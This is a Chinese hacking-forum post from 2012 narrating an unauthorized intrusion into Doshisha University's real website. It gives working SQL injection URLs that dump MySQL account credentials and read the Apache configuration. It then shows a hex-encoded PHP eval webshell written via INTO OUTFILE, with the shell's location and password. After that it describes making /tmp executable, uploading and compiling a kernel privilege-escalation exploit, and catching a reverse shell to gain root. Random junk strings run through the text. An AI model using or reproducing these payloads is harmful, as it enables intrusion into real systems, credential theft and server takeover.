找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2428|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
' \1 N1 A* _3 S% C+ V% b! {# h* O* K( u" d# \, i. \' ~
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
1 C8 D5 Z/ d  T; O: L6 E0 X9 t, i然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:) {0 T8 l- H6 M7 v9 h

6 |1 @, B6 O9 P' ^http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user' Q: B  y- t. i) M) f+ j

6 l) ^% k4 k/ n0 _9 r" [$ x
7 k7 L4 ?* ^6 F' i( d+ D/ ~* S$ l
. ]+ h3 D  h4 n, [//@@datadir为数据库文件路径 ( _+ b; ^  i- u" J/ A, D, t

3 h8 X( [. }: U& k7 c! r2 o. v* R' T- ?. i' Y* W# Q' O7 R7 a0 ^. N
//load_file读取网站容器apache的配置文件 + S8 Y( t! g' K  Y; v
% y. k9 ]. e# ~0 p# X
' A; q6 |1 g  p9 U, N
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 1 Y: \2 e% T/ t$ \
复制代码
4 @9 U+ G2 u% t9 A
9 A, t4 O% k! E/ e  ?4 o虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。7 A) N" z/ G, _" s8 M) ?4 q) n

$ r% n* w# _! b而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。! \) h1 L% N& ^% q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)3 B/ f$ C% p, l# j3 i; s
+ h% ^& w5 j2 |6 G
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
+ I( o/ z: ?. x9 l( K8 j如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html$ O/ L6 u+ P; S( U3 Y

0 }! f! F" I! \$ ^9 Y  X- q; h# K& V既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
. |: O1 x+ S9 I! b" ~& s虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。" P- `; X( ~5 \
直接写一句话:6 @2 `" M- z  T! h

: h7 r, m4 t9 G  T0 mhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#/ F% h' d# j) E* p: @
5 K7 m+ q( ~: {9 E) s* Q6 o
$ z1 c) J( R$ z7 D
4 |( M/ l' i% {# q
//最后的#是为了闭合前面的语句
9 w) u3 N, U# I$ ^ + g6 X, p8 @- P; S
6 u" N- F" T, X4 d; W( M1 J- Q
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E $ i' Z4 W3 a2 H8 D% u* \5 G* [6 M+ ]( Z# N
& \9 U; s9 [' [! [+ o3 B, t4 _

$ c) a! _# p* q8 l- j6 ]为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 7 _# w8 z5 W) c) h% y* z# u
' F9 x# ^5 z/ |. ~' U- I
; y: I( W: p9 H: q2 w- Y. Q
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 1 \' X3 u+ ~  \0 W* Y0 ]+ b

- _" O/ f* l7 a5 Z8 c9 S7 l" {2 C) j# m3 ~- X$ b  x
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " [& ?% u$ ^/ H1 [7 O
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- `) T1 w9 d4 [% W) h" _' a  |复制代码
& V" z2 ^$ E. e# ~* U. u, b
  |8 h5 ~; }4 h  _HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有+ U6 g+ V, k  f4 E
通过上述注入语句,我们就得到了一句话木马:4 r9 K+ C$ ^% B9 g& Q
9 _$ T, j- x6 H- s/ C
2 X+ F4 e" K+ Z, |$ K( j
4 H8 v9 M% I2 O3 t( q, T7 L
4 K; }/ Y( n6 B4 r9 {  u
" L1 i- }+ W3 c9 T3 i1 F
http://www.doshisha.ac.jp/english/engnews_img/aa.php
% }$ Z7 R( n& y1 D! O复制代码
( M3 o  }6 Y2 `; H1 C2 i: T4 C" ^/ r+ H9 Q. _$ S4 a0 `: N
用菜刀连接,密码是cmd,如图所示:
1 M2 g! y% F5 u4 E5 `然后在命令提示行里看了一下,现在的权限是:
- C( s/ a4 D( u: [  B: b5 J
( X, A% h  ]+ T- l% @0 Z之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* x5 z& X2 K# n) R+ ^& B4 ^( Z. Y好在赋权给这个文件夹不需要root,直接执行赋权语句:# i" g0 B6 ~7 Z3 L0 o
" D. s7 Q5 r4 R) c2 w2 W
. A2 W/ a0 s* L
. i: e5 x) p* d

' h7 p! L: [5 f+ k6 n  j+ n2 m
6 D3 _. S' k6 Q  gchmod +x /tmp/
( J  P. n: F- {; H复制代码4 ?& w! d* |- e& N5 Q6 L$ B
3 ]# l: }* H$ ~8 u) Q
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行/ ]. N$ k0 \  i/ q, x4 [- N$ {
然后就查了一下内核版本:- a3 R5 D9 }8 k
3 o, K6 ]! H4 l& g
, O6 Z0 a7 Y! T* {/ ~( j

5 B; b$ P. K* o6 Q( N 9 q, k% ~. ]% F1 y, a0 X5 c

3 \9 T3 E) h9 i0 p4 Puname-a
3 i: |# D: L8 n( l2 ]  j% t* P7 z" r 3 J% {2 o: M: N- K

% \# P9 E8 u. E9 v6 H//其实lsb_release -a 2 F; `$ I& X3 n) X
复制代码
. y9 T% k5 N0 U2 F  T% K% h! u$ J, [1 ~
如图所示:. U2 ]/ v% I* l
0 V" r8 C' @+ @* a$ N% [
内核版本:linux mainz1 2.6.28-194.e15  @# v' x3 y* W5 y  N: X
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)0 S; x" p( ?/ N- @
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹7 r: i0 m! m$ p# |! ?: `2 O

# U% ]) Y, [! l6 R5 l然后给予执行权限
9 @7 H+ D+ c3 y) s2 c一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
  V9 h2 v' e& q) U/ j
) v5 b, z" y, w" C$ F% u ' ^+ \3 X" k5 o/ \4 Y

, I: |5 @7 M0 M
# N* H+ \2 ]  L5 p% l( p" ?6 t
+ \4 X# v. x* _chmod +x /tmp/2.6.18-194
9 h' d9 b. b& x7 h复制代码 然后直接执行!~
1 \1 o& z% t' \+ F+ S- D/ [* t  X* d
. n$ t1 _2 k- }: r) Z总结:
2 K- N; y! b) I这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
6 R9 A, g& r4 s5 Y, O" A提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root. y/ i' P, n' A6 Z

& T$ U1 T& R9 Y8 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表